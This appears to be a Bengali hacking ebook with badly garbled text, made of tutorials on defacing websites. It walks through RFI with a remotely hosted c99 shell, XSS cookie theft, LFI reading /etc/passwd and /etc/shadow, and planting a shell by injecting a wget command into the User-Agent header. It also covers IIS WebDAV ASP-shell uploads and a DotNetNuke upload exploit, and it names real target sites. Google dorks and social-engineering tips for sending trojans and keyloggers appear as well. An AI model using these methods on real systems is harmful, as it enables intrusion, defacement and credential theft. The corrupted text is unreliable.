এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 11: Hacking Bangla eBook

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

